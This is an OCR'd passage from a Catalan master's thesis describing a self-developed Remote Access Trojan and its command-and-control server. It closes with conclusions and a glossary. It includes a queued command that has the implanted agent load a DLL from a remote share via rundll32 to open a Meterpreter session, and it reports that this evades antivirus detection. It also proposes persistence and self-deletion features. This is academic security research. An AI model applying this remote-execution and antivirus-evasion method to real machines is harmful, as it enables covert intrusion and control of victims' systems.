S’observa a la seguent captura de pantalla com s’introdueix a la base de
dades del servidor de comandament i control la informacio necessaria per tal
que I’Agent implantat a la maquina victima execute el comandament que
s’indica a I'anterior captura de pantalla. El primer dels parametres fa referéncia
a Iidentificador unic de I'’Agent que ha d’executar I'ordre, el segon a la propia
ordre, que coincideix amb la que indica el handler de Meterpreter, i per ultim el
valor 0, que indica que encara no s’ha executat I'ordre.
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= DB Browser for SQLite - C:\Users\Admin

Archive Editar Ver Herramientas Ayuda

o Nueva base de datos & Abrir base de datos .8 Guardar cambios % Deshacer cambios

| Estructura ] Hoja de datos ] Editar pragmas | Ejecutar SQL

SQL 1

INSERT INTO command history (agent, command, completed)

1

2 IfVALUES (

3 '57€bcE06-4a9E8-4b37-b755-fb££43819161",

4 'cmd rundll32.exe \\192.168.150.25 anrwz\test.dll,0’',
5

0\z
0 ) H

Resultado: consulta ejecutada con €xito. Llevd 1ms, 1 lineas afectadas
En la linea 1:

INSERT INIC command history (agent, command, completed)

VALUES (

'578bc806-4a98-4b37-b755-fbf£4381916%",

'cmd rundll32.exe \\192.168.150.250\zanrwz\test.dll,0’',

0):

lI-lustracio 34: Insercié d’ordres a la base de dades

Una vegada l'agent rep i executa I'ordre inserida a la base de dades, es
pot observar el resultat a la maquina atacant, on s’esta executant el handler de
Meterpreter. Es veu a la seguent captura de pantalla que la maquina atacant ha
rebut la connexié de la maquina victima. Ressaltat en roig s’observen els
detalls de I'execucié del Meterpreter a la maquina victima, com per exemple
I'hora d’execucid, que és 23:53:46 del dia 29/05/2019.

A més, es pot observar també que s’han executat diferents ordres de
Meterpreter, la qual cosa demostra que la connexio és funcional i que 'atacant
ha obtingut control de la maquina victima utilitzant aquesta eina externa. Les
ordres utilitzades mostren el nom de l'usuari i informacié sobre el sistema.
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windows
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Il-lustracié 35: Connexié a la maquina victima mitjangant Meterpreter

Una vegada demostrat que és possible obtenir el control de la maquina
victima utilitzant eines externes mitjangant ’Agent desenvolupat, només queda
comprovar si aquesta activitat ha sigut identificada per 'antivirus. A la seguent
captura de pantalla es pot observar clarament que aquesta activitat no ha sigut
identificada, a pesar d’haver utilitzat una eina que, com s’ha demostrat al
principi, és detectada per I'antivirus.

Es pot veure a la part central que les ultimes alertes generades per
I'antivirus corresponen a la deteccié de Meterpreter realitzada a I'inici d’aquest
subapartat. Si es comparen aquestes alertes i I'hora a la que s’han generat
amb les de la primera il-lustracié d’aquest apartat es pot comprovar que
coincideixen. A més, a la part inferior de la pantalla es veu I'’hora a la qual s’han
consultat les alertes, que correspon a les 23:55 del mateix dia.

Aixi doncs, es demostra que I'execucio de Meterpreter mitjangant 'Agent,
realitzada a les 23:53, no ha sigut identificada per I'antivirus, donat que I'Gltim
event generat per aquest és anterior a aquesta execucio i I'hora de consulta
dels events és posterior a 'execucié de Meterpreter. Queda demostrat, doncs,
que I'execucio d’eines externes mitjancant ’Agent desenvolupat no és
detectable per 'antivirus.
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DESKTOP-LMMBHPE\Dani Pedros ejecuto C:\Windows\explorer.exe, que intento acceder a
C:\SRecyde.Bin\S-1-5-21-2150213228-524951809-2537612318-1001\SRWH36HC.exe. El tipo de
amenaza Troyano denominado Swrort.i fue detectado y eliminado.

Analizador / Detector

Fecha de creacion de contenidn del analizador 29/5/2019 08:23

A m T3 Q)

23:55
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II-lustracié 36: Execucioé de Meterpreter no detectada per I'antivirus
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7 Conclusions

Es presenten a continuacié les conclusions que es desprenen del
desenvolupament de I'actual projecte. En aquest capitol es parla dels objectius
assolits en el desenvolupament, aixi com també dels que no han pogut ser
assolits. També es proposen diferents projectes relacionats amb el tema tractat
en el present projecte i que resulten interessants de cara al seu
desenvolupament en un futur. | per ultim, per tal de donar tancament al present
document i al projecte en si, es presenta la valoracio personal d’aquest.

7.1 Objectius assolits

A partir de les consideracions realitzades al capitol introductori d’aquest
document, es pot considerar que tots els objectius plantejats han sigut assolits.
Si es considera I'objectiu principal plantejat, que consisteix en el disseny i
desenvolupament d’'un RAT i el seu CnC, al contingut del present document
s’evidencia tot el procés de desenvolupament i implementacio.

Perd si es tracten per separat els 3 subobjectius derivats de I'objectiu
principal, i presentats també al capitol d’introduccié, és possible entendre més
facilment que aquests han sigut assolits. Es presentaven els seguients
subobjectius: disseny d’un sistema basat en 3 components (Agent, CnC i
Consola), implementacio de I'Agent i el CnC i aplicacié de técniques d’evasio
d’antivirus a ’Agent.

Respecte al disseny d’'un sistema basat en 3 components, en aquest
document es detalla la funcionalitat oferta per cadascun dels 3 components
proposats, aixi com també la interaccié que s’estableix entre ells. En quant a la
implementacio de 'Agent i el CnC, s’ha materialitzat tot el procés de disseny
d’aquests dos components en una solucio real capac de ser executada i
provada. | per ultim, al capitol d'implementacié s’expliquen algunes eines de
deteccio utilitzades pels programaris antivirus i les técniques implementades al
component Agent per tal d’evadir aquestes eines. A més, al capitol de proves
és possible comprovar, amb un exemple real, el correcte funcionament, tant
dels components com de les técniques d’evasié d’antivirus.

7.2 Objectius no assolits

Tal i com s’explica a I'apartat anterior, tots els objectius plantejats per al
desenvolupament d’aquest projecte han sigut assolits satisfactoriament. No
obstant, i ja que aquest és un projecte desenvolupat aplicant la metodologia
basada en el disseny iteratiu i incremental, en aquest punt podrien proposar-se
nous objectius que seguiren ampliant funcionalitats o millorant la solucid.

Per exemple, podrien proposar-se nous objectius com I'addicié de noves
funcionalitats a la solucio, com la creacié de noves funcions d’alt nivell que,
invocades per 'usuari del sistema, permeteren que un Agent desplegat en
alguna maquina aconseguis obtenir persistencia. Altra possible funcié podria
ser 'autodestruccio de I'’Agent, la qual, invocada per un usuari, provoqués que
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I’Agent eliminés proves de la seua existéncia a la maquina i es desinstal-lés
automaticament.

Aquest apartat esta, en certa manera, relacionat amb el seglent ja que
aquestes tasques proposades podrien entendre’s com a una extensio del propi
projecte o diferents projectes nous. No obstant, al seglient apartat es
presenten, a més d’aquestes propostes, altres considerades projectes
independents.

7.3 Futurs projectes relacionats

A 'anterior apartat es parla, no dels objectius no assolits, sin6 de
possibles ampliacions dels objectius per a I'actual projecte, les quals podrien
ser desenvolupades en un futur. En aquest apartat, a més d’aquestes
propostes, es presenten idees per al desenvolupament de futurs projectes
relacionats amb aquest.

En primer lloc, es considera especialment rellevant proposar, a partir del
disseny proposat en aquest projecte, la implementacié del tercer component del
sistema, la Consola. Aquest projecte consistiria en desenvolupar un component
de programari capag d’integrar-se amb el servidor de comandament i control
desenvolupat a I'actual projecte. Aquest hauria d’'implementar les funcions
definides als casos d’Us i, a més comunicar-se de forma efectiva amb el
servidor de comandament i control.

Altre projecte que es proposa és la implementacié de noves funcionalitats
amb la intencio d’ampliar les funcionalitats oferides actualment pel sistema. A
I'anterior apartat s’han proposat un parell de noves funcionalitats, encara que
qualsevol ampliacio de les funcionalitats actuals del sistema podria entendre’s
com un projecte nou independent.

Per ultim, resulta interessant també proposar la realitzaciéo de més proves
amb més antivirus i, fins i tot, en una xarxa simulada o un entorn real.
Aquestes proves, enteses com a projecte independent, permetrien continuar
desenvolupant el sistema i adaptant-lo a les noves condicions de I'entorn. Aixi
doncs, a part del propi projecte centrat en la realitzacié de proves més
extensives, és probable que sorgiren nous projectes enfocats a la
implementacié de noves técniques d’evasio d’antivirus.

7.4 Valoracio personal

Com a conclusié d’aquesta memoria es presenta la valoracié general del
projecte i el seu desenvolupament. Aquesta valoracio parla dels coneixements
obtinguts tant a les assignatures cursades, com a I'entorn professional, aixi
com també de les tecnologies descobertes, errors comesos i dificultats. Per
ultim, es parla també dels coneixements apresos i extrets del desenvolupament
d’aquest projecte.

Algunes de les assignatures del master han sigut especialment rellevants
per al desenvolupament d’aquest projecte. Les més significatives han sigut
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Seguretat en Sistemes Operatius i Seguretat en Xarxes. La primera d’aquestes
ha aportat coneixements essencials per a la instal-laci6 i configuracié basica
del servidor Windows, aixi com també de la gestié dels certificats (necessaris
per a la comunicaciéo HTTPS) i la criptografia de clau simétrica i asimétrica. En
quant a I'assignatura Seguretat en Xarxes, aquesta ha aportat una visié en
profunditat sobre el funcionament d’alguns sistemes de deteccié d’intrusos,
com SNORT. Aquesta informacié ha sigut rellevant per tal de desenvolupar
técniques d’evasié d’aquests sistemes NIDS.

A més, el desenvolupament d’aquest projecte ha permeés adquirir
coneixements de tecnologies i llenguatges de programacié que no s’han
estudiat durant la docéncia del master. Destaca I'aprenentatge de la
programacié en C#, llenguatge que no havia utilitzat mai i que ha sigut
important per al desenvolupament del projecte. No només la propia
programacio, sind I'us correcte de llibreries i funcions com Assembly.Load han
permés aprendre com s’integren les biblioteques dinamiques de Windows
(DLLs) amb el programari que les utilitza.

Sobre els errors comesos, i tenint en compte el que s’acaba d’exposar a
I'anterior paragraf, destacar la falta de temps dedicada inicialment a
I'aprenentatge en profunditat del llenguatge de programacié C#. A¢o ha
provocat alguns retards en el desenvolupament, deguts a no tenir clar
I'existéncia d’algunes funcions, etc. No obstant, aquests inconvenients han
sigut suplerts mitjangant la lectura i comprensié de la documentacié aportada
per Microsoft sobre aquest llenguatge. Aixi doncs, aquest error inicial ha
permeés aprendre a buscar de forma adequada entre I'extensa documentacio
disponible a Internet.

A més del que s’ha aprés dels errors, el desenvolupament del projecte
també ha permés conéixer i aprendre nous recursos que poden ser aplicats en
un futur, tant en la vida personal com en la professional. Destaca 'afiancament
dels coneixements relacionats amb la programacié orientada a objectes, aixi
com també I'aplicacié de metodologies adaptades a projectes canviants. Més
relacionat amb I'aprenentatge personal, encara que també aplicable al moén
professional, destaca I'aprenentatge relacionat amb I'establiment d’objectius
realistes que permeten evitar i/o controlar la frustraci6 i realitzar un calcul
adequat de l'esforg requerit.

La realitzacio del projecte presentat en aquest document m’ha aportat un
creixement significatiu tant com a professional de la seguretat de les
tecnologies de la informacié i les comunicacions, com a persona. Haver
paral-lelitzat el desenvolupament d’aquest projecte amb totes les assignatures
del segon semestre i una jornada laboral completa de 8h al dia ha requerit un
gran esforg i una gran optimitzacio i gestié del temps. Tot ago ha despertat la
curiositat i interés necessaris per a continuar formant-me i descobrint el mén de
les tecnologies de la informacio i les comunicacions, i en especial, la seguretat
d’aquestes. Presentat tot el procés de desenvolupament, les proves i les
conclusions, puc assegurar que estic molt orgullés del projecte i de tots els
resultats obtinguts d’aquest.
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8 Glossari

e TIC: Tecnologies de la informacio i les comunicacions. Agrupen els
elements i les técniques utilitzades en el tractament i la transmissio
de la informacid, principalment d'informatica, Internet i
telecomunicacions. Designen, també, el sector d'activitat
economica.

e RAT: Remote Access Trojan. Es un tipus de programari maliciés
que permet a un usuari controlar el sistema informatic d’'una victima
mitjangant una connexié remota a través d’Internet. Normalment,
un RAT s’instal-la sense el coneixement de la victima i tracta
d’ocultar la seua activitat, tant a la victima com al programari de
seguretat (antivirus, NIDS, HIDS, etc.).

e CnC: Command & Control. Fa referéncia als servidors utilitzats per
al control de programari maliciés. Aquests servidors poden
pertanyer directament als operadors del programari maliciés o estar
instal-lats a servidors de tercers que hagen sigut compromesos.

e HIDS: Host-based Intrusion Detection System. La funcié d’aquests
consisteix en la identificacio de riscs potencials i possibles
intrusions en un sistema mitjangant la deteccié d’anomalies revisant
I'activitat de la maquina on esta instal-lat.

e NIDS: Network-based Intrusion Detection System. La funcié
d’aquests consisteix, a l'igual que els HIDS, en la identificacio de
riscs potencials i possibles intrusions, en aquest cas en una xarxa,
mitjangant la deteccié d’anomalies en I'activitat i trafic de la xarxa.

e AV: Antivirus. Programari dissenyat per a identificar, eliminar i
informar de les amenaces per a la seguretat de la maquina on han
sigut instal-lats. Aquests identifiquen les amenaces de diferents
formes, com per exemple la firma digital, I'heuristica, analisi
estatica o analisi dinamica.

e SSL: Secure Sockets Layer. Conjunt de protocols que permeten la
comunicacié segura a través d’Internet mitjangant el xifrat de la
informacio.

e HTTP: Hyper Text Transfer Protocol. Protocol dissenyat per a
I'intercanvi de documents d’hipertext i multimédia a Internet.

e HTTPS: Hyper Text Transfer Protocol Secure. Versio dHTTP que
treballa sobre SSL, aportant seguretat a les comunicacions.

e AMSI: AntiMalware Scan Interface. Interficie que permet a les
diferents aplicacions de Windows integrar-se amb el programari
antimalware instal-lat al sistema i realitzar analisis i comprovacions
de seguretat.
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